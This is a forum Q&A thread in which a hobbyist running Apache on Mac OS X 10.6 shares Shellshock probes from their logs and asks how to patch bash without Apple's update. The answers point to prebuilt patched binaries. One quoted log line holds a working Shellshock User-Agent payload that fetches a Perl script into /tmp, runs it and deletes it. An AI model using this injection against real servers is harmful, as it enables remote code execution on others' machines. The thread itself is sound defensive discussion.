I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries: - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget\"" - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget;curl -O /tmp/ji ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""

The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.

Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not recompiling bash) to reduce my risks?

  • Correct me if I'm wrong, but only bash is vulnerable right? I've heard that installing a different shell like dash, csh, or whatever else helps to mitigate it. Although, this may still require compiling. – jonescb Oct 20 '14 at 16:11

If you don't want to recompile Bash yourself, the folks at TenFourFox (who make a PPC version of Firefox) have compiled a binary that works on OS X 10.4 - 10.9 on both PPC and Intel Macs, and have terminal instructions for installing:


At the time of writing (Sept 30) they've compiled Bash 4.3.27, but this still misses a couple of vulnerabilities that the Apple official patch has also missed. So it's better than nothing, but you'll want to keep watching for future updates.

  • Perfect! Very appreciated; clear instructions and they worked exactly as advertised. – Wildcard Oct 11 '15 at 9:23

You could possibly try recompiling bash yourself using this link. It patches the vulnerable bash version, but the new version is not signed by apple and could possibly break things.


Check the "System Binaries" section of this answer. It works for 10.6.8, assuming you have Xcode installed.




You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .